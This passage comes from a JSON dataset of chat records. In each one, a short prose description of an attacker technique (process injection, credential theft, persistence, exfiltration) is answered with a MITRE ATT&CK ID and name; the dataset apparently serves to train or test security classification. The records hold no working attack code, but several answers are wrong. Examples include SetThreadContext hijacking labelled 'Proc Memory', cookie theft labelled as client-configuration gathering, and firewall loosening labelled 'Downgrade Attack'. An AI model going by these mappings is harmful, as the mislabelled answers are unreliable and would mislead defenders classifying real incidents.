                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker floods the victim's network interface with malformed packets, causing the device to crash and become unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a rogue external proxy to disguise its communications with the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a new thread in the victim process and uses Thread Local Storage to store and execute malicious shellcode, achieving process injection."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a DLL that was packed using a popular executable compressor, hiding its malicious behavior from AV scanners."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sends exfiltrated data in chunks through HTTP GET requests disguised as web traffic."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor re‑packages a legitimate code analysis tool with embedded malware, causing execution when the tool is run."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-stage exploit chain starts with a browser vulnerability to drop a loader, which then retrieves the actual ransomware payload over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages ARP spoofing to intercept and log communications between hosts."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a custom utility to locate the default Windows Mail .sqlite files and upload them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the legitimate client binary with a malicious version that includes a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a privileged command to delete all system restore points and set the system to 'no restore' mode, blocking recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a network appliance copies the configuration repository to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device driver is used to perform direct kernel memory writes, granting kernel-level privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT actors performed a phishing campaign targeting the certificate authority's administrators, obtaining the private key for a code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes the Windows Remote Management (WinRM) listener to push commands to a remote Linux server."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident involved the execution of a Bash one-liner that leveraged wget to pull a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes \"rpm -qa\" on a Red Hat system to list all installed RPM packages."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages domain fronting to bypass corporate firewalls, sending encrypted traffic to a high‑reputation domain while the payload reaches a hidden malicious server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor searches public vulnerability databases to find unpatched software flaws they can later weaponize against target systems."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system ran a dropped file that was a stripped payload, lacking typical file headers to conceal its true functionality."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware harvests the browser's saved cookies and user‑agent string to impersonate the user on targeted sites."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was disguised as \"MicrosoftWord.exe\" and placed in the Documents folder to appear as a legitimate Office application."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sends unauthorized MFA authentication prompts to the victim's authenticator app to trick them into granting access."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise tool replaces the default PAM modules with altered versions that silently accept any password, effectively compromising the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an espionage campaign, the adversary uploads exfiltrated research files to an anonymous paste service, using base64 encoding to conceal the content."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated intrusion uses reflective loading to execute a custom backdoor without creating any files on disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages open SMB shares to read and download user data across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker modifies the domain controller's authentication DLLs, causing the system to accept arbitrary password hashes."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the PAM configuration files on a compromised Linux system, inserting a malicious module that captures user passwords during login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a company's internal package repository and embed a trojanized installer, which is then distributed via the organization’s software deployment pipeline."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious Office add‑in in the HKCU\\Software\\Microsoft\\Office\\Word\\Addins registry path so it loads every time Word starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool writes a counterfeit root certificate to the Windows certificate store, enabling spoofed TLS sessions."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modified the domain's trust configuration to establish a one-way trust with a malicious external domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability to gain kernel access and then issues ATA Secure Erase commands to the hardware drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining a foothold, the adversary runs 'netstat -r' on the host to collect routing table information and infer network segments."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a reverse proxy on a compromised web server to forward inbound traffic to a hidden C2 infrastructure, bypassing network filters."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .NET payload and then runs it through regsvcs to bypass application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts saved credentials from the Chrome Sync data synced to the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a Windows Media Foundation library to silently capture webcam video and exfiltrate it via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the system’s input driver to duplicate all keystroke data to a hidden file, which is later exfiltrated using a disguised DNS tunnel."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The persistence technique involves editing the System V RC script /etc/rcS to launch a backdoor upon boot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder queries the Docker socket (\"/var/run/docker.sock\") to list containers and their statuses."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious RC script is placed in /etc/rc.local, causing the attacker’s payload to execute each time the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload includes spurious sections that are never executed, serving only to hide the real malicious code."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a new process and then uses SetThreadContext to hijack the thread's execution flow to malicious code stored in the target's memory."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the low‑level firmware of a device, embedding code that activates in the pre‑OS boot phase."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised Kubernetes API to schedule a pod that runs a container containing ransomware."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromises a public web service and uses it as a proxy, sending requests with a mismatched SNI and Host header to disguise malicious traffic as legitimate traffic to a different domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs character substitution (e.g., ^ for &, &&) to disguise the actual commands being run."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious executable masquerading as a trusted Windows binary that is whitelisted for auto-elevation, thereby bypassing UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code alters the configuration file of the host firewall, reducing the rule set to allow traffic on previously blocked ports."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the system's environment variable definitions in /etc/environment to invoke a script that contacts the command-and-control server on login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses raw socket communication over IP protocol number 255, sending commands and exfil data without any application layer protocol."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute the Windows utility rundll32.exe, a Control Panel binary, to load an unsigned DLL that establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a targeted email to finance staff with a malicious Word document attached, which runs a macro to install a backdoor once opened."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code edited the firewall policy file to whitelist all IP addresses, rendering the firewall ineffective."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses XPC inter‑process communication to relay exfiltrated data to a background daemon without detection."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates the boot sequence by injecting a ROMMONkit script through the console port, establishing persistence before OS load."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromises a software vendor’s build pipeline, injecting malicious code that later serves as a zero‑day capability."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A recent intruder set up an external proxy on a cloud VM and altered the victim's proxy settings to forward outbound traffic through it."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spoofed caller ID displays the organization's support line, and the attacker attempts to phish employee credentials by asking security questions."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the PATH environment variable to include a directory with an unquoted malicious executable, causing command-line utilities to execute the attacker’s program unintentionally."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a valid OAuth token to access a victim’s Gmail account via the Gmail API and download all unread messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder manipulates token privileges by calling AdjustTokenPrivileges after forging a token to elevate their access level."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of default VPN user accounts allowed the malicious actor to tunnel into the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a hardware exploit to corrupt the firmware of network routers, causing a backdoor after reboot."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a hidden serverless function that acts as a proxy for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses WMI to remotely spawn processes on another workstation."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the snmpwalk utility, the attacker harvests the MIB from routers to obtain configuration information."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the symbolic links used by the dynamic linker to point to a malicious shared library, causing the application to execute the injected code on launch."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups leverage PowerShell to enumerate and export credentials from the Windows Credential Vault."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed regsvr32.exe with a malicious .js file from a remote server to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool runs 'netstat -ano' to discover active network connections and listening ports."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a PowerShell command that downloads a payload from a malicious URL and runs it in memory."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a hardware diagnostic utility to query the system's firmware for manufacturer and version info."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
